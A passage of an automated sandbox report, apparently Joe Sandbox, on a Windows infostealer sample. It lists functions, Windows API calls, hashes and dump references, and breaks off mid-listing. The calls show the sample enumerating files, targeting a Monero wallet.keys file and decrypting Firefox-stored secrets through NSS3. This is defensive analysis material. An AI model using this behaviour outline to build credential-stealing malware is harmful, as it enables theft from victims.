Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 5774c661e40bb2491462b4ce57e9fbf60b26cd5f4a5f163c599cf2c5710d26ce
Instruction ID: cd42a027608c81fab095059fa49fae4104d62a94b4d677b5f101090b31b29d14
Opcode Fuzzy Hash: 5774c661e40bb2491462b4ce57e9fbf60b26cd5f4a5f163c599cf2c5710d26ce
Instruction Fuzzy Hash: 49E017A595431263EA1073B9BC06B2B72CD9B1430AF0418A4FA0CE3302EE35F8208379

Function 00B288D0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B288F2

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 779f01ae318338c5e621a5e1ab224ece869c9c1d0ca32ac27ef18ef78174793f
Instruction ID: 27304c4450af7586c5b368496f1c9ba5a225d3d4eb8346f85b7c1467d936e8cb
Opcode Fuzzy Hash: 779f01ae318338c5e621a5e1ab224ece869c9c1d0ca32ac27ef18ef78174793f
Instruction Fuzzy Hash: CB01EF7490520CEBCB05CF98E589BACBBB5EF04308F2490C9E9496B384C774AA94DB46

Non-executed Functions

Function 00B233C0 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B233DC
FindFirstFileA.KERNEL32(?,?), ref: 00B233F3
lstrcat.KERNEL32(?,?), ref: 00B23445
StrCmpCA.SHLWAPI(?,00B30F40), ref: 00B23457
StrCmpCA.SHLWAPI(?,00B30F44), ref: 00B2346D
FindNextFileA.KERNEL32(000000FF,?), ref: 00B23777
FindClose.KERNEL32(000000FF), ref: 00B2378C

Strings

%s\*, xrefs: 00B233D0
%s%s, xrefs: 00B235BD
%s\%s, xrefs: 00B2348A
%s\%s, xrefs: 00B2357F
%s\%s\%s, xrefs: 00B2355A

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 6a30bb2d0caecc75737f3e6a2cc336253b99c03716d5b872e10de2640dbd73eb
Instruction ID: f7a549f57beab429b9387d974ea5050f7c27686f4c5aebf0c1afe1055244deed
Opcode Fuzzy Hash: 6a30bb2d0caecc75737f3e6a2cc336253b99c03716d5b872e10de2640dbd73eb
Instruction Fuzzy Hash: ADA130B1A103189BDB24EBA4EC85FEE73B9AF58700F4445C8B50DA6251DB749B88CF61

Function 00B24050 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B24060
RtlAllocateHeap.NTDLL(00000000), ref: 00B24067
wsprintfA.USER32 ref: 00B24086
FindFirstFileA.KERNEL32(?,?), ref: 00B2409D
StrCmpCA.SHLWAPI(?,00B30F94), ref: 00B240CB
StrCmpCA.SHLWAPI(?,00B30F98), ref: 00B240E1
FindNextFileA.KERNEL32(000000FF,?), ref: 00B2416B
FindClose.KERNEL32(000000FF), ref: 00B24180
lstrcat.KERNEL32(?,0074E5D0), ref: 00B241A5
lstrcat.KERNEL32(?,0074D550), ref: 00B241B8
lstrlen.KERNEL32(?), ref: 00B241C5
lstrlen.KERNEL32(?), ref: 00B241D6

Strings

%s\%s, xrefs: 00B240FB
%s\*, xrefs: 00B2407A

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 389f428e5855ad266d8460209391fb832b9154ddcb682d48e93878fd90eaf997
Instruction ID: b004b2d90bc027ce735aab109184bdb4dda4629ee9d892932ca9010831d955ed
Opcode Fuzzy Hash: 389f428e5855ad266d8460209391fb832b9154ddcb682d48e93878fd90eaf997
Instruction Fuzzy Hash: 51512071950218ABC764EB70EC89FEE77BDAB58700F4045D8B60DE6150EB749B848FA1

Function 00B1EB60 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B1EB7E
FindFirstFileA.KERNEL32(?,?), ref: 00B1EB95
StrCmpCA.SHLWAPI(?,00B314DC), ref: 00B1EBEB
StrCmpCA.SHLWAPI(?,00B314E0), ref: 00B1EC01
FindNextFileA.KERNEL32(000000FF,?), ref: 00B1F0EE
FindClose.KERNEL32(000000FF), ref: 00B1F103

Strings

%s\*.*, xrefs: 00B1EB72

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 79cfe692355161262a5accdd4c1c0e5586d8a870ed2ee958cd6fe56d894d0add
Instruction ID: 5f81ab8b2fb96e9f2dd035baca03d7df3ce65c4e6adc25f67d38b7cabd3775db
Opcode Fuzzy Hash: 79cfe692355161262a5accdd4c1c0e5586d8a870ed2ee958cd6fe56d894d0add
Instruction Fuzzy Hash: BBE100719112289BDB54FB60EC92EEE73B8AF55310F4045D9B50E62092EF706F89CF62

Function 00B1DC50 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00B30C19), ref: 00B1DC9E
StrCmpCA.SHLWAPI(?,00B3146C), ref: 00B1DCEE
StrCmpCA.SHLWAPI(?,00B31470), ref: 00B1DD04
FindNextFileA.KERNEL32(000000FF,?), ref: 00B1E220
FindClose.KERNEL32(000000FF), ref: 00B1E232

Strings

\*.*, xrefs: 00B1DC66

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: b1b40c88dd6701329adfe104de624449619d20f9860315a6444371e7a683273f
Instruction ID: b28f0759976c3e1325d0b55875f02727e5997bfb7ec7b2d3943c23181c4a2a0f
Opcode Fuzzy Hash: b1b40c88dd6701329adfe104de624449619d20f9860315a6444371e7a683273f
Instruction Fuzzy Hash: A9F1BD718141289BCB19FB60EC95EEEB3B8AF15301F8045D9B41E72091EF756B98CF62

Function 00B1C660 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B1C6B1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B1C6BC
PK11_GetInternalKeySlot.NSS3 ref: 00B1C6CA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00B1C6E5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00B1C72B
lstrcat.KERNEL32(?,00B30B2E), ref: 00B1C783
lstrcat.KERNEL32(?,00B30B2F), ref: 00B1C797
PK11_FreeSlot.NSS3(?), ref: 00B1C7A1
lstrcat.KERNEL32(?,00B30B33), ref: 00B1C7B8

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: a99f32be88f75ddf2a041f21390b3d0ffcf78e8e2fd11ce2dde47b492c1b953b
Instruction ID: aa278350d02ae0b55ed1e8509de92a1ccebf15b69ef881db5f4e1d52f164e527
Opcode Fuzzy Hash: a99f32be88f75ddf2a041f21390b3d0ffcf78e8e2fd11ce2dde47b492c1b953b
Instruction Fuzzy Hash: 23413D7591431ADBDB10DF90DC89BFEBBB8AB48704F1045A8F509A6280D7B45A84CFA1

Function 00EC4014 Relevance: 12.9, Strings: 9, Instructions: 1627COMMON

Download Yara Rule

Strings

s]~, xrefs: 00EC44CB
GG@X, xrefs: 00EC4083
2k, xrefs: 00EC5144
<og, xrefs: 00EC4CFE
_8/O, xrefs: 00EC4D22
`Q9, xrefs: 00EC4294
ysP-, xrefs: 00EC4D55, 00EC5169, 00EC4D71, 00EC4D85, 00EC4DBA
^;;, xrefs: 00EC417E
Do\;, xrefs: 00EC51BF

Memory Dump Source

Source File: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID:
String ID: <og$Do\;$GG@X$^;;$_8/O$`Q9$s]~$ysP-$2k
API String ID: 0-3681055140
Opcode ID: 9a775a322f820a1a29c6abef15bdd0fbaee0ba2d823d61d441abd905f6f1dec2
Instruction ID: ace5b4eaff21447c6b29f9d93f8b187e955820e138293c2ee530c84e61bab627
Opcode Fuzzy Hash: 9a775a322f820a1a29c6abef15bdd0fbaee0ba2d823d61d441abd905f6f1dec2
Instruction Fuzzy Hash: 06B207F360C214AFE304AE2DEC8567ABBE9EF94760F16493DE6C5C3744E63598008697

Function 00EB6A22 Relevance: 12.8, Strings: 9, Instructions: 1581COMMON

Download Yara Rule

Strings

E/[{, xrefs: 00EB6AA3
=^', xrefs: 00EB7663
T%(, xrefs: 00EB7930
C"m, xrefs: 00EB7513
`[?, xrefs: 00EB7978
C"m, xrefs: 00EB74A8
ue:, xrefs: 00EB6B32
T5vm, xrefs: 00EB6FE4
@ _7, xrefs: 00EB7B9A

Memory Dump Source

Source File: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
